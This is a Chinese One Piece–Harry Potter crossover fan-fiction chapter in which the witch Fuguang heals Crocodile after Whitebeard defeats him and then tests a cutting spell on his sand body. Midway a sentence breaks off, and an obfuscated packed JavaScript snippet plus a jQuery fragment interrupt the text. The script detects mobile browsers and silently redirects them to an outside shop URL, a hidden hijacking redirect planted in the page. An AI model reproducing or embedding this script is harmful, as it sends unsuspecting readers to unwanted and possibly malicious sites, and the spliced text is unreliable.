夜晚的米斯特利亚岛港口,几乎把整座岛上的酒水全都搬到船上用于宴会的莫比迪克号上,重聚在一起,没有下潜去鱼人岛的男人们,聚精会神的听着萨奇,哈尔塔等人绘声绘色的描绘着海下发生的事情,拍胸脯保证他们白天看到的,那个骑着扫把登岛的女人绝非是吃了什么恶魔果实,而是真真正正,会使用神奇魔法的女巫。
“可恶!早知道,当初我死缠烂打也要老爹带我一起去鱼人岛!”
“我也是!啊!可恶!那可是活着的女巫啊!”
“冷静点拉克约,金古多,虽然你们错过了和女巫的近距离接触,但你们也错过了她送的礼物啊。”坐在高处,哈尔塔坏笑着对两位同伴晃了晃自己手腕上的手绳,气得拉克约酒都顾不上喝了,站起来指着坐在桅杆上的哈尔塔大吼:“你给我下来哈尔塔!”
“我才不要!”吐了吐舌头,哈尔塔无视掉拉克约的叫嚷,几口喝完杯中的美酒,感叹了一声:“好酒!”
“不过马尔科,她真的没问题吗?”和周围的伙伴们一起嬉笑了两声,相较来说沉稳冷静得多的乔兹扭头,语气严肃的问着身边还在和大家一起大笑的马尔科。
“没事的乔兹,她不是坏人,那些草药我也都试过了,你就放心吧yoi。”理解乔兹所担心的是什么,马尔科回头看了一眼正在大口喝酒的白胡子:“而且,虽然相处时间不算太长,接触的也不太多,但是老爹挺认可她的yoi。”
“这样啊,能被老爹认可,说的我也有点好奇了呵呵呵~”
“话说回来,她现在不也在岛上吗?我们明天去找她呗!”重新倒满酒,听到乔兹和马尔科对话的比斯塔对着还在抱怨没能近距离和女巫接触的拉克约,金古多提议道,立马得到了一众人的支持,他们可太好奇了那位此时此刻不同于吵闹玩笑的他们,早早就睡下的女巫了。
一如既往到不会再失望,仅用一个白天的时间就绕完了这座并不算太大的岛屿,找了一家环境,装潢都很不错的旅馆开好房,放好行李,就近找了一家餐馆解决完晚餐的扶光洗完澡,换上干净的睡裙,很快就在这张被旅店老板晒得暖呼呼的大床上睡着了。
“哄!”
突兀的巨响伴随着轻微的震荡,猛的睁开眼,扶光下意识的拿起放在枕边的魔杖,瞬间闪烁起来的光芒驱散走了深夜的黑暗。
屋顶的吊灯还在“嘎吱”晃动,心里喃喃着“地震吗?”的时候,扶光的耳边传来了一声低咒,那是从窗户外的方向传来的。
“……”紧握着顶端闪烁着光芒的魔杖,警戒的踱步的窗边,扶光和周围一样听见声音,嚷嚷着“怎么了?”“发生什么事了?”的岛民一起从各自的屋子里探出脑袋,就见一个梳着背头,穿着得体,如今却有些狼狈的男人喘着粗气,曲着一条腿,靠着这家旅馆的外墙坐在地上,不服气的瞪着那艘停靠在港口,亮着灯的巨大白鲸。
顺着男人瞪着的方向看去,即便港口离这有些距离,但手持丛云切的白胡子,那高大魁梧的身形宛如一座屹立巍峨的路标,让扶光和那些岛民一下就理清了事情的来龙去脉。
“胆子真大啊,敢去招惹白胡子海贼团。”
“啧啧啧,我看是活腻喽。”
“嘘!少说两句,小心被报复。”
“怕什么?都被白胡子教训的这么难看了,还能掀出什么花来?”
将这个挑战白胡子,不知天高地厚的男人和一些个有了名头就狂妄无知的愣头青化为一列,忍不住出言嘲讽的岛民们最后还是担心惹上不该惹上的麻烦,一个个逞完一时的嘴瘾后纷纷收回脑袋,将门窗锁了个严实,确保外面不会听见,才继续低声和身边的朋友,家人嘲讽男人是失心疯了,敢去挑战这片大海的最强者。
没去理会周遭的嘈杂,杂乱的气息被重新理顺,忽视掉身上流血的伤口,克洛克达尔蹒跚的站起身,有些不稳的靠着旅馆的外墙,眸却仍然清明锐利的盯着站在那,一脸从容的白胡子,以及站在他周遭,那些被他称为儿子的男人们,以及自己那些早已没了意识的手下们。
自过去第一次挑战白胡子以失败告终,一直在默默发展自己的势力,提升自身实力的克洛克达尔,前不久得到了关于“白胡子海贼团要在米斯特利亚岛汇合”的情报后,结合自己碰巧在这座岛屿附近,过去被一招瞬秒的不屈与不甘涌上心头,加之自己确确实实磨炼了许久,克洛克达尔决定再次向白胡子发起挑战,可这次的结果还和第一次一样,甚至,实力加强了许多的自己,仍然没让男人发出全力。
“该死,白胡子!”屈辱化为攻击回去的动力,发动沙沙果实的能力,下半身元素化的克洛克达尔怒吼着朝着男人冲去发起攻击,但可惜,结局和刚才和过去没有任何的不同。
“咳啊!”鲜红的血液从嘴中咳出,再次被一击击飞的克洛克达尔倒在莫比迪克号下方不远处的地上喘着气,不甘的望着群星密布的星空,竟连连再起的力气都没有了。
“……”骑着扫把安静的悬浮在莫比迪克号的上空,除了之前在艾雷吉亚的时候见过动用烟雾果实的能力帮助那些岛民的斯摩格,再也没遇到过其他吃了自然系恶魔果实的扶光,在看到男人元素化的身体时的瞬间起了兴趣,披了件外衣就骑着扫把飞了出来,却没有,看到的竟然会是一场单方面的碾压。
握着扫帚柄的手不由的收紧了一些,和那些默认了男人不过一届莽夫的岛民们不一样,扶光可以明确感受到这个吃了自然系恶魔果实的男人,实力绝对没有当下看上去那样不堪,毕竟那是自然,是连巫师都要敬畏的自然……
“这片大海上,最重要的是霸气。”
脑内浮现出之前库洛卡斯的教诲以及香克斯运用霸气劈开波涛海浪的画面,忍不住将自己带入进白胡子的位置,扶光思考着自己在无法使用武装色霸气的前提下,若是面对这样的棘手敌人,自己该用何种魔法应对时,下方一个惊喜的男声突然响了起来。
“啊!女巫!”
和身边的伙伴们嗤笑着男人的自不量力,收起用来击倒男人那些手下的链球,扭了扭脖子,碰巧看到了悬浮在高处,骑着扫帚的女人,拉克约想都没想的惊喜出声,将周围
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705372|202968||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
同伴们的视线全部吸引了过来,让那群首次和扶光“近距离”接触的白胡子海贼团成员双眼冒星,也不管人家搭不搭理自己,自顾自的问着心里疑惑,对此,脑内的线团没法靠现有的知识来理顺的扶光只是睨了下方一眼,随后像是想到了什么,控制扫把飞去了那个意识已经有些模糊的男人跟前,从斜挎包里拿出了几瓶药水,就着愈合如初咒为其治疗了起来。
“她在干吗?”
“我靠,她难道和那个家伙是一伙的?”
“老爹,要攻击吗?”
原先的激动在此刻化为乌有,男人们有的疑惑,有的警戒,有的已经散发出了敌意,只等待着他们老爹下达指令,而白胡子只是淡淡然的看着男人在扶光一通忙活后,咳了两声,从地上坐了起来。
“我想请你刚个忙,作为我治疗了你的代价。”站起身,没有去理会莫比迪克号上的视线,扶光俯视着仰头看来的男人:“我能攻击你一下吗?当然请放心,若是害你受伤,我会重新为你治疗。”
……
“唉???!!!”
想过是敌人,就是没想到前脚才把人从重伤里救治好,后脚却是要重新攻击人家,白胡子海贼团的男人们原本的敌意瞬间消散,剩下的只有不解和惊呼。
巫师,是这样奇怪的种族吗???
“咕啦啦啦啦啦!这还真是有意思。”仰头大笑了几声,就连白胡子都没有想到会出现这么有意思的场景,而只觉得冒犯的克洛克达尔边低吼着:开什么玩笑。”边从地上站起,怒视着眼前这个莫名其妙的女人,却没想她竟微微勾唇,十分挑衅的来了句:“怎么?怕了?”
“……”青筋暴起,女人那可恶的挑衅模样,对战白胡子的惨败,克洛克达尔右臂化为沙子,朝着扶光的方向,连同向着莫比迪克号狠狠劈去。
“喂喂喂!对待救命恩人,下手是不是太狠了一些yoi?”耀眼的蓝黄火焰在浑身燃烧,挥舞着翅膀,用不死蓟挡住克洛克达尔愤怒一击的马尔科回过头,问着:“你没事吧?”时,才发现,被自己护在后面的扶光早已没了踪迹。
“人呢?”四处张望,正当马尔科奇怪人去哪的时候,伴随上方传来的:“请让开,马尔科先生。”见闻色同时发出了警告,让马尔科立马挥舞翅膀飞到一旁,就见不知何时闪瞬到上方的扶光一手握着飞行扫帚的把柄,一手举着魔杖,对着那个男人喊了一声:“Sectumsempra!”
和预想的结果一样,可以元素化的男人比过去遇到的那几个多弗朗明哥的手下,以及自愿挨上一击神锋无影的库洛卡斯要棘手的多得多,不管怎么说,后者是可以实实在在碰到的实体,但眼前的家伙显示是半个自然。
“啧!”实践远比独自思考来得便利,看了一眼男人脚下被切开的大地,明白没有再尝试必要的扶光也不管男人的态度,简单朝他道了一声谢,调转了飞行扫帚的方向,想着回去旅馆休息睡醒,或许要再去一趟双子岬找库洛卡斯学习学习霸气的运用方法时,将一切尽收眼底的白胡子突然开口道:“等一下,小丫头。”